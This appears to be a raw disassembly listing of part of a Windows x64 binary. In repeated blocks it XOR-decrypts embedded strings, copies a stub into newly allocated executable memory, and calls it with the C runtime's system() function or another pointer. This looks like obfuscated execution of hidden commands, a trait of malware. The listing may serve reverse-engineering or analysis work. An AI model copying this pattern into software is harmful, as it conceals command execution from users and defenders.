shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x2e
jl 0x1400dbbec
lea rax, [rbp + 0x1218]
mov qword [rbp + 0x228], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x3e8], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x3f0], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x3e0], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400e2d48
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400e2d37
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dbc87
jmp 0x1400e2d48
mov eax, dword [0x140153444]
mov dword [rbp - 0x54], eax
cmp byte [0x140153447], r14b
je 0x1400dbcf0
mov r8d, r14d
lea r9, [rbp - 0x54]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x1400dbcc0
lea rax, [rbp - 0x54]
mov qword [rbp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e0], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x6e8], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x6f0], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x6e0], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dbd7b
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dbd6a
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dbd51
jmp 0x1400dbd7b
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dbe6a
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dbda2
mov r8, r14
jmp 0x1400dbe3b
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dbdb5
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x78]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movsd xmm0, qword [0x140153448]
movsd qword [rbp + 0x18], xmm0
mov eax, dword [0x140153450]
mov dword [rbp + 0x20], eax
mov al, byte [0x140153454]
mov byte [rbp + 0x24], al
mov r8d, r14d
lea r9, [rbp + 0x18]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0xd
jl 0x1400dbeb6
lea rax, [rbp + 0x18]
mov qword [rbp + 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f8], xmm0
mov qword [rbp + 0x700], r11
mov qword [rbp + 0x708], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x6f8], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400dbf63
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dbf52
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400dbf39
jmp 0x1400dbf63
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400dc052
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dbf8a
mov r8, r14
jmp 0x1400dc023
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dbf9d
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x80]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [str._UPYeMZ_.1_e___i9.______11Vuqvi]
movups xmmword [rbp + 0x1680], xmm0
movups xmm1, xmmword [0x140153468]
movups xmmword [rbp + 0x1690], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400dc0da
mov r8d, r14d
lea r9, [rbp + 0x1680]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x20
jl 0x1400dc0aa
lea rax, [rbp + 0x1680]
mov qword [rbp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x718], r11
mov qword [rbp + 0x720], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x710], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dc15a
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dc149
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dc130
jmp 0x1400dc15a
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dc249
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dc181
mov r8, r14
jmp 0x1400dc21a
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dc194
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x88]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
mov rax, qword [0x140153478]
mov qword [rbp + 0x38], rax
cmp byte [0x14015347f], r14b
je 0x1400dc2bd
mov r8d, r14d
lea r9, [rbp + 0x38]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 8
jl 0x1400dc28d
lea rax, [rbp + 0x38]
mov qword [rbp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x728], xmm0
mov qword [rbp + 0x730], r11
mov qword [rbp + 0x738], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x728], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400dc33a
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dc329
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400dc310
jmp 0x1400dc33a
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400dc429
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dc361
mov r8, r14
jmp 0x1400dc3fa
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dc374
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x90]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140153480]
movups xmmword [rbp + 0x370], xmm0
movsd xmm0, qword [0x140153490]
movsd qword [rbp + 0x380], xmm0
movzx eax, word [0x140153498]
mov word [rbp + 0x388], ax
mov al, byte [0x14015349a]
mov byte [rbp + 0x38a], al
mov r8d, r14d
lea r9, [rbp + 0x370]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x1b
jl 0x1400dc490
lea rax, [rbp + 0x370]
mov qword [rbp + 0x98], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0x748], r11
mov qword [rbp + 0x750], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x740], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dc540
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dc52f
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dc516
jmp 0x1400dc540
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dc62f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dc567
mov r8, r14
jmp 0x1400dc600
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dc57a
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x98]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
mov eax, dword [0x14015349c]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1401534a0]
mov word [rbp - 0x2c], ax
mov al, byte [0x1401534a2]
mov byte [rbp - 0x2a], al
mov r8d, r14d
lea r9, [rbp - 0x30]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 7
jl 0x1400dc67c
lea rax, [rbp - 0x30]
mov qword [rbp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x758], xmm0
mov qword [rbp + 0x760], r11
mov qword [rbp + 0x768], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x758], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400dc729
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dc718
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400dc6ff
jmp 0x1400dc729
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400dc818
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dc750
mov r8, r14
jmp 0x1400dc7e9
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dc763
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0xa0]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [str._UPYe_MK]
movups xmmword [rbp + 0xe60], xmm0
movsd xmm0, qword [0x1401534b8]
movsd qword [rbp + 0xe70], xmm0
mov eax, dword [0x1401534c0]
mov dword [rbp + 0xe78], eax
cmp byte [0x1401534c3], r14b
je 0x1400dc8aa
mov r8d, r14d
lea r9, [rbp + 0xe60]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x1c
jl 0x1400dc87a
lea rax, [rbp + 0xe60]
mov qword [rbp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x770], xmm0
mov qword [rbp + 0x778], r11
mov qword [rbp + 0x780], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x770], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dc92a
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dc919
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dc900
jmp 0x1400dc92a
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dca19
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dc951
mov r8, r14
jmp 0x1400dc9ea
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dc964
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movsd xmm0, qword [str.tPXIHUN]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x1401534d0]
mov word [rbp - 0x20], ax
mov al, byte [0x1401534d2]
mov byte [rbp - 0x1e], al
mov r8d, r14d
lea r9, [rbp - 0x28]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0xb
jl 0x1400dca6a
lea rax, [rbp - 0x28]
mov qword [rbp + 0xb0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x788], xmm0
mov qword [rbp + 0x790], r11
mov qword [rbp + 0x798], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x788], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400dcb17
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dcb06
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400dcaed
jmp 0x1400dcb17
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400dcc06
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dcb3e
mov r8, r14
jmp 0x1400dcbd7
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dcb51
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [str._UPYeODMK_____4__k_:o4_:598_5___WgJIH]
movups xmmword [rbp + 0x16c0], xmm0
movups xmm1, xmmword [0x1401534e8]
movups xmmword [rbp + 0x16d0], xmm1
movsd xmm0, qword [0x1401534f8]
movsd qword [rbp + 0x16e0], xmm0
mov r8d, r14d
lea r9, [rbp + 0x16c0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x28
jl 0x1400dcc61
lea rax, [rbp + 0x16c0]
mov qword [rbp + 0xb8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a0], xmm0
mov qword [rbp + 0x7a8], r11
mov qword [rbp + 0x7b0], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x7a0], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dcd11
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dcd00
inc ecx
mov r8d, ecx
